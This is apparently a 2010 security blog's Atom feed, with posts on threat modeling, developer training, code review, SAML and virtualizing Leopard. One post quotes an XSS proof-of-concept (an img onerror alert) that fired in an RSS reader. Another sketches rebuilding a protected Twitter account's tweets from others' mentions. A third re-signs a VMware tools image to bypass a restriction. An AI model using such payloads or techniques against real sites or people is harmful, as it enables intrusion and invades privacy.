alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/8961619309010726476/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=8961619309010726476' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8961619309010726476'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8961619309010726476'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/12/complexity-insecurity.html' title='Complexity != Insecurity'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-5363392440223781189</id><published>2010-12-05T17:16:00.000-06:00</published><updated>2010-12-05T17:16:37.015-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='asset valuation'/><title type='text'>Threat Modeling, Attack Trees, Call Graphs, Oh My!</title><content type='html'>Let's say I'm able to dynamically and statically analyze an application running on some platform. This analysis is so full of awesome that it enumerates every entry and exit point in the application. It enumerates all ways that data is touched, modified or/and returned to the user of the application. It understands authentication and authorization, from the interface down to the underlying operating system.&lt;br /&gt;&lt;br /&gt;So what. Really, who cares. There's absolutely no context with this contrived analysis. Let's say that the application above only accesses information deemed public by the application owner. Let's say that the machine has no way to pivot to any other resources: an island. Then what? And why am I wasting time on a post like this that seems pretty obvious?&lt;br /&gt;&lt;br /&gt;We have threat modeling, attack trees, call graphs, and everything at our disposal. Automation can get us far, but without subjective context, especially on asset valuation, everything looks the same. I'm all for measurements. We're no where near as an industry in enumerating what applications can do, what they touch, and even how to process all of this information. But even if we were, we would still be silly and mark a remotely exploitable vulnerability that popped root on this application as a "high", whatever that means. Whereas in reality, this asset has such little value that it's not even worth including its system name in a report. &lt;br /&gt;&lt;br /&gt;We do not do a good job assessing asset values, however subjective. Yes, there's value for an attacker. At a minimum, can I pivot from this host? Can I now access something I wasn't able to access before? These are valid and should be called out if there's reason to. But, what about the data? Not all assets are equal and we should stop treating them as they are.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-5363392440223781189?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/5363392440223781189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=5363392440223781189' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/5363392440223781189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/5363392440223781189'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/12/threat-modeling-attack-trees-call.html' title='Threat Modeling, Attack Trees, Call Graphs, Oh My!'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-2473203795139329832</id><published>2010-10-14T07:09:00.000-06:00</published><updated>2010-10-14T07:09:26.426-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='frameworks'/><category scheme='http://www.blogger.com/atom/ns#' term='infosec'/><category scheme='http://www.blogger.com/atom/ns#' term='training'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='appsec'/><title type='text'>Too Long for 140: Developers and Security Training</title><content type='html'>(Disclaimer: I work for a company that provides security training to developers. My opinions here do not reflect my employer.)&lt;br /&gt;&lt;br /&gt;Caleb Sima (&lt;a href="https://twitter.com/csima"&gt;@csima&lt;/a&gt;) dropped this &lt;a href="https://twitter.com/csima/status/27180142543"&gt;nugget&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;Just got accepted to speak at RSA on not teaching developers about security&lt;/blockquote&gt;This was &lt;a href="https://twitter.com/jeremiahg/status/27183502214"&gt;retweeted&lt;/a&gt; by Jeremiah Grossman (&lt;a href="https://twitter.com/jeremiahg"&gt;jeremiahg&lt;/a&gt;):&lt;br /&gt;&lt;blockquote&gt;RT @&lt;a class="twitter-atreply" href="http://twitter.com/csima" target="_blank"&gt;csima&lt;/a&gt;:  Got accepted to speak at RSA on not teaching developers about security  &amp;lt; I'd agree in theory, implementation is the hard par &lt;/blockquote&gt;Jeff Williams (&lt;a href="https://twitter.com/planetlevel"&gt;@planetlevel&lt;/a&gt;) &lt;a href="https://twitter.com/planetlevel/status/27202348300"&gt;hit back&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;@&lt;a class="twitter-atreply" href="http://twitter.com/jeremiahg" target="_blank"&gt;jeremiahg&lt;/a&gt; @&lt;a class="twitter-atreply" href="http://twitter.com/csima" target="_blank"&gt;csima&lt;/a&gt; Not teaching developers security is dangerous nonsense. Automatic securification can never exist. &lt;/blockquote&gt;&amp;nbsp;I see the application security model similar to this:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Dev: Wow, new whizbang tech that lets me do a, b, and c!&lt;/li&gt;&lt;li&gt;Infosec Guy: Wow, Dev is using new whizbang tech that allows me to violate x, y and z!&lt;/li&gt;&lt;li&gt;Infosec Guy to Dev: Stop using whizbang tech!&lt;/li&gt;&lt;li&gt;Dev to Infosec Guy: Stop stopping me from being {productive, cool, whatever}!&lt;/li&gt;&lt;li&gt;Infosec Guy to Dev: OK, at least implement these onerous and difficult security controls!&lt;/li&gt;&lt;li&gt;Dev to Infosec Guy: Wow, these controls suck and I never get them right...&lt;/li&gt;&lt;li&gt;Infosec Guy: Wow, the Dev people and dumb because they can't implement these onerous controls...&lt;/li&gt;&lt;li&gt;[Time passes]&lt;/li&gt;&lt;li&gt;Infosec Guy to Dev: Hey! Someone created a framework that magically implements the security controls that you can't seem to grasp!&lt;/li&gt;&lt;li&gt;Dev to Infosec: Awesome! Now I need to learn this new framework, backport it into all 1000 enterprise apps, deal with the framework changing every week, being backwards-incompatible, and still have gaps because it doesn't work with m, n, and o frameworks!&lt;/li&gt;&lt;li&gt;[Time passes]&lt;/li&gt;&lt;li&gt;Infosec Guy: Wow, new whizbang tech that lets me do a, b, and c!&lt;/li&gt;&lt;li&gt;...&lt;/li&gt;&lt;/ul&gt;As for training, though, I'm blasé on it. Unless a developer expresses  curiosity on the intricacies of how a weakness in their code can be  exploited, I think security training is a waste of time. I think the  training should be offered, but not forced. We hope a developer appreciates the sophistication around exploiting a  vulnerability, but we cannot 'learn' them. This is where frameworks come in.&lt;br /&gt;&lt;br /&gt;Eventually, frameworks (e.g. Hibernate, Spring) do pop up that implement some security control that is somewhat transparent to a developer. I'm a &lt;a href="http://blog.cykyc.org/2010/02/on-authorship-and-book-publishing.html"&gt;big fan&lt;/a&gt; of this approach and think that information security should act more as editors, with developers acting as authors; let them write code!&lt;br /&gt;&lt;br /&gt;So, what do we do in-between that time, when no frameworks exist and when developers and infosec are on different pages?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-2473203795139329832?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/2473203795139329832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=2473203795139329832' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2473203795139329832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2473203795139329832'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/10/too-long-for-140-developers-and.html' title='Too Long for 140: Developers and Security Training'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-2719824916108825905</id><published>2010-10-07T04:29:00.000-06:00</published><updated>2010-10-07T04:29:49.304-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='baseball'/><category scheme='http://www.blogger.com/atom/ns#' term='Minnesota Twins'/><title type='text'>Bar None NYC and Watching a Twins Game</title><content type='html'>I hit &lt;a href="http://www.barnonenyc.com/"&gt;Bar None&lt;/a&gt; last night in the hopes of being able to wear my Morneau jersey in peace. The bar is known as a Vikings fan club bar, which I think means that some Vikes fans hit it on game day and a couple TVs are showing the game. The bar itself is about drinking; there's no food. If you're hungry, grab something from outside and bring it it!&lt;br /&gt;&lt;br /&gt;When I got there 1/2 or so before the game, I was happy to see I wasn't the only Twins fan. There were a couple guys in Twins gear spaced out. So, apparently I wasn't along in speculating. Well, funny enough, it's still a Yankees bar, but the DJ running the show was gracious enough. They were wondering why they had so many Twins fans though. :-)&lt;br /&gt;&lt;br /&gt;I'm gonna hit a Red Sox's bar tonight (enemy of my enemy is my friend and all that) with a couple guys I met last night. Let's bring this series to 1-1 boys!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-2719824916108825905?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/2719824916108825905/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=2719824916108825905' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2719824916108825905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/2719824916108825905'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/10/bar-none-nyc-and-watching-twins-game.html' title='Bar None NYC and Watching a Twins Game'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-5584147155849756631</id><published>2010-09-28T11:35:00.000-06:00</published><updated>2010-09-28T11:35:05.778-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='code review'/><title type='text'>Source Code Assessment Strategies</title><content type='html'>Must be ideal thought day even though I'm doing billable work :-)&lt;br /&gt;&lt;br /&gt;When reviewing source code, I find I use these three strategies / heuristics:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Breadth-first, shallow depth&lt;/li&gt;&lt;li&gt;Depth-first, based on information / judgment&lt;/li&gt;&lt;li&gt;Hill-climbing, using general security categories as neighbors&lt;/li&gt;&lt;/ul&gt;Breadth-first is used to get a feel for the app. If something smells about the app, then a depth-first occurs at that area after the breadth-first search. Also, any business drivers or common application patterns are used to drive other depth-first searches. Once these are exhausted, any other security categories are chosen and followed, almost like a stochastic hill-climbing strategy. Usually by this time, project time is running out and documentation is occurring.&lt;br /&gt;&lt;br /&gt;What do you use?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-5584147155849756631?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/5584147155849756631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=5584147155849756631' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/5584147155849756631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/5584147155849756631'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/09/source-code-assessment-strategies.html' title='Source Code Assessment Strategies'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-1417566248835446568</id><published>2010-09-28T07:06:00.000-06:00</published><updated>2010-09-28T07:06:47.259-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='side project'/><title type='text'>Probably Nothing Special: Blabbermouths on Twitter</title><content type='html'>Had a side thought that I'm sure someone has already thought of and implemented:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Find an account on Twitter that requires authz to view his or her account&lt;/li&gt;&lt;li&gt;From an authn'd but unauthz'd Twitter API client, do the following:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Enumerate all the followers and following of this person (authn'd users can do this)&lt;/li&gt;&lt;li&gt;Search favorited tweets from this user; store the blabbermouth&lt;/li&gt;&lt;li&gt;Search conversations from this user; store the blabbermouth&lt;/li&gt;&lt;li&gt;Search RT's / @mentions for this user; store the blabbermouth&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Use the gathered favorited and conversation data to reconstruct a timeline (tweet IDs are time stamps) of possible tweets&lt;/li&gt;&lt;li&gt;Use the @mentions and RTs to match up the tweet to a possible timeline tweet&lt;/li&gt;&lt;/ul&gt;It's more that likely that one cannot construct a full timeline of some target's tweets. Also, matching up the RTs / @mentions is fraught with mismatching. But, one could start to see who blabs out all of the tweets and then unfollow that person. I'm sure my account would be unfollowed since I do the above with impunity :-) That is, Twitter is not meant for secrets.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-1417566248835446568?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/1417566248835446568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=1417566248835446568' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1417566248835446568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1417566248835446568'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/09/probably-nothing-special-blabbermouths.html' title='Probably Nothing Special: Blabbermouths on Twitter'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-3456472477499170808</id><published>2010-09-28T06:35:00.001-06:00</published><updated>2010-09-28T06:56:08.991-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>XSSed By Gareth Heyes</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: left;"&gt;I recently got an iPad to be extra douchey. I'm using it as a PDF and eBooks reader mostly and wanted to get a good RSS reader in the mix. While Google Reader isn't bad, and under the hood it output encodes the crap out of everything, I'm not a big fan of the interface. I looked around for some app-specific readers and came across &lt;a href="http://itunes.apple.com/us/app/feeddler-rss-reader-for-ipad/id364873582?mt=8"&gt;Feeddler&lt;/a&gt;.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Feeddler can authenticate, via credentials (yuck) to one's Google account. (Note to self, create another google account just for RSS feeds. Note to others, my XSSed gmail account is only used for RSS and this blog.) Once authenticated, it grabs the Google feed settings and then parses it, displaying a similar outline to Google Reader.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;I've been out of touch with my RSS feed lately and started going through the back issues. I flipped open &lt;a href="http://www.thespanner.co.uk/"&gt;The Spanner&lt;/a&gt;, an insightful feed authored by Gareth Heyes. Do not follow him on &lt;a href="http://twitter.com/garethheyes"&gt;twitter&lt;/a&gt;, btw.&amp;nbsp; And, for the yanks in the group, a spanner is a wrench. The article, &lt;a href="http://www.thespanner.co.uk/2010/09/24/xss-zones/"&gt;XSS Zones&lt;/a&gt;, ironically fired an XSS in Feeddler:&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/_Ag2GsPPoUVg/TKHdUZUOVPI/AAAAAAAAADk/Ax7qp9Bv5Es/s320/xssed.PNG" style="margin-left: auto; margin-right: auto;" width="240" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Got XSSed by @garethheyes and all I got was an alert(1)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Ag2GsPPoUVg/TKHdUZUOVPI/AAAAAAAAADk/Ax7qp9Bv5Es/s1600/xssed.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&amp;nbsp;Here's the evil code:&lt;/div&gt;&lt;pre id="line1"&gt;&amp;nbsp;&lt;/pre&gt;&lt;pre id="line1"&gt;&amp;amp;&lt;span class="entity"&gt;lt;&lt;/span&gt;!– End XSS zone –&amp;amp;&lt;span class="entity"&gt;gt;&lt;/span&gt;&amp;amp;&lt;span class="entity"&gt;lt;&lt;/span&gt;img src=1 onerror=alert(1)&amp;amp;&lt;span class="entity"&gt;gt;&lt;/span&gt; and they have broken out of the&lt;/pre&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;See that HTML-encoded img tag? Yeah... Dunno what's going on under the hood, but between Feeddler, Google Reader, and the article, Feeddler decided to execute that block and fire an alert. D'oh!! So, now anyone can XSS Feeddler via a properly encoded feed and have fun in the context of probably one's Google Reader account. Not funny :-)&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Needless to say, I went back to Google Reader and quickly deleted Feeddler.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-3456472477499170808?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/3456472477499170808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=3456472477499170808' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3456472477499170808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/3456472477499170808'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/09/xssed-by-gareth-heyes.html' title='XSSed By Gareth Heyes'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Ag2GsPPoUVg/TKHdUZUOVPI/AAAAAAAAADk/Ax7qp9Bv5Es/s72-c/xssed.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-6332320153183762434</id><published>2010-06-05T11:34:00.000-06:00</published><updated>2010-06-05T11:34:55.497-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security justice'/><category scheme='http://www.blogger.com/atom/ns#' term='wikid'/><category scheme='http://www.blogger.com/atom/ns#' term='saml'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Security Justice / Wikid Podcast: No More Integration!</title><content type='html'>I just started subscribing to the Security Justice podcast after talking to &lt;a href="http://twitter.com/ben_p"&gt;@ben_p&lt;/a&gt; during the last &lt;a href="http://minnesec.blogspot.com/"&gt;Minnesec&lt;/a&gt; meetup. Today I'm listening to SJ &lt;a href="http://securityjustice.com/archives/89"&gt;interviewing&lt;/a&gt; &lt;a href="http://www.wikidsystems.com/"&gt;Wikid Systems&lt;/a&gt; on their two-factor authentication product. Nick, the CEO of Wikid makes the following quote:&lt;br /&gt;&lt;br /&gt;"Well, one, I think, um, you need a, the lead steers need to be the information security geeks who really say I want two-factor for this, I will switch, I will pay extra for Google Apps for my domain because it will support two-factor authentication."&lt;br /&gt;&lt;br /&gt;No, I do not want Google to support your two-factor authentication, nor RSA's, nor anyone else. I don't want them to even know what two-factor means. I want you or perhaps Hurricane Labs to stand up a &lt;a href="http://en.wikipedia.org/wiki/Security_Assertion_Markup_Language"&gt;SAML&lt;/a&gt; Identity Provider (IdP) that I can &lt;a href="http://www.google.com/support/a/bin/answer.py?hl=en&amp;amp;answer=60224"&gt;configure&lt;/a&gt; into my Google Apps for Domain console. Google allows this today. According to their docs, one IdP can support multiple domains, so this wouldn't be limited to just my domain.&lt;br /&gt;&lt;br /&gt;We need to get away from one-to-one "federated" integration and start thinking about General IdP &amp;lt;-&amp;gt; consumer &amp;lt;-&amp;gt; Service Provider federation. Yeah, I move my security now to your controls on the IdP versus Google's. This may introduce more risk. For consumers and small businesses, general IdPs are the future.&lt;br /&gt;&lt;br /&gt;Does anyone know of a general IdP that supports Wikid?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-6332320153183762434?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/6332320153183762434/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=6332320153183762434' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6332320153183762434'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6332320153183762434'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/06/security-justice-wikid-podcast-no-more.html' title='Security Justice / Wikid Podcast: No More Integration!'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-6080390610722463745</id><published>2010-04-26T08:22:00.000-06:00</published><updated>2010-04-26T08:22:50.701-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mac os x'/><category scheme='http://www.blogger.com/atom/ns#' term='virtualization'/><category scheme='http://www.blogger.com/atom/ns#' term='leopard'/><title type='text'>Virtualizing Leopard (In Progress)</title><content type='html'>Here are the steps I used from DVD to virtualized Mac OS X Leopard:&lt;br /&gt;&lt;br /&gt;Convert DVD to Sparse Image [1]:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Insert the OS X Leopard DVD (not the bundled OS install; needs to be retail install disk)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Open Disk Utility&lt;/li&gt;&lt;li&gt;Create "New Image"&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Name can be anything&lt;/li&gt;&lt;li&gt;It's easiest to save on your desktop&lt;/li&gt;&lt;li&gt;Size: 8.0GB (Dual Layer)&lt;/li&gt;&lt;li&gt;Encryption: None&lt;/li&gt;&lt;li&gt;Format: Spare Disk Image&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;Click the image you just created and then click the "restore" tab for that.&lt;/li&gt;&lt;li&gt;Drag the "Mac OSX Install DVD" image into the source and then drag the image you just created into the destination field.*&lt;/li&gt;&lt;li&gt;Click Restore&lt;/li&gt;&lt;li&gt;Go grab a soda . . . Take a Nap . . .&lt;/li&gt;&lt;/ul&gt;* I didn't do this. Rather, at a Terminal prompt, I ran `mount` to see what disk the install DVD was at and used that as the source. For my setup, that was /dev/disk2s3.&lt;br /&gt;&lt;br /&gt;Convert Sparse Image to ISO:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Eject the sparse image&lt;/li&gt;&lt;li&gt;From Terminal: &lt;/li&gt;&lt;pre&gt;hdiutil makehybrid -o ~/Desktop/leopard.iso -iso -joliet ~/Desktop/leopard.sparseimage&lt;br /&gt;Reading Driver Descriptor Map (DDM : 0)…&lt;br /&gt;Reading Apple (Apple_partition_map : 1)…&lt;br /&gt;Reading Macintosh (Apple_Driver43 : 2)…&lt;br /&gt;Reading Macintosh (Apple_Driver43_CD : 3)…&lt;br /&gt;Reading  (Apple_Free : 4)…&lt;br /&gt;Reading Macintosh (Apple_Driver_ATAPI : 5)…&lt;br /&gt;Reading Macintosh (Apple_Driver_ATAPI : 6)…&lt;br /&gt;Reading  (Apple_Free : 7)…&lt;br /&gt;Reading Patch Partition (Apple_Patches : 8)…&lt;br /&gt;Reading disk image (Apple_HFS : 9)…&lt;br /&gt;...............................................................................&lt;br /&gt;Elapsed Time:  9m 45.349s&lt;br /&gt;Speed: 13.9Mbytes/sec&lt;br /&gt;Savings: 0.0%&lt;br /&gt;created: /Users/Web/Desktop/leopard.iso.cdr&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/ul&gt;Change the Darwin support utils ISO to use Leopard client semantics versus server semantics [2]:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;From Terminal:&lt;br /&gt;&lt;pre&gt;sudo bash&lt;br /&gt;cd "/Library/Application Support/VMware Fusion/isoimages"&lt;br /&gt;mkdir original&lt;br /&gt;mv darwin.iso tools-key.pub *.sig original&lt;br /&gt;perl -n -p -e 's/ServerVersion.plist/SystemVersion.plist/g' &amp;lt;&amp;gt; darwin.iso&lt;br /&gt;openssl genrsa -out tools-priv.pem 2048&lt;br /&gt;openssl rsa -in tools-priv.pem -pubout -out tools-key.pub&lt;br /&gt;openssl dgst -sha1 -sign tools-priv.pem &amp;lt;&amp;gt; darwin.iso.sig&lt;br /&gt;for A in *.iso ; do openssl dgst -sha1 -sign tools-priv.pem &amp;lt; $A &amp;gt; $A.sig ; done&lt;br /&gt;exit&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Start VMWare Fusion and create a new VM:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Applications -&amp;gt; VMWare Fusion&lt;/li&gt;&lt;li&gt;From Menu, File -&amp;gt; New&lt;br /&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Click "Continue without disc"&lt;/li&gt;&lt;li&gt;Select "Use operating system installation disc image file:" and choose the ~/Desktop/leopard.iso file&lt;/li&gt;&lt;li&gt;Click Continue&lt;/li&gt;&lt;li&gt;For "Operating System", select "Apple Mac OS X"&lt;/li&gt;&lt;li&gt;For "Version", select "Mac OS X Server 10.5"&lt;/li&gt;&lt;li&gt;Click Continue&lt;/li&gt;&lt;li&gt;Click Finish and save&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;[1] http://notepad.bobkmertz.com/2007/10/making-back-up-copy-of-osx-leopard.html&lt;br /&gt;[2] http://www.macgeekblog.com/blog/archive/2008/09/03/hack-vmware-fusion-2-virtualize-tigerleopard.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-6080390610722463745?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/6080390610722463745/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=6080390610722463745' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6080390610722463745'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6080390610722463745'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/04/virtualizing-leopard-in-progress.html' title='Virtualizing Leopard (In Progress)'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 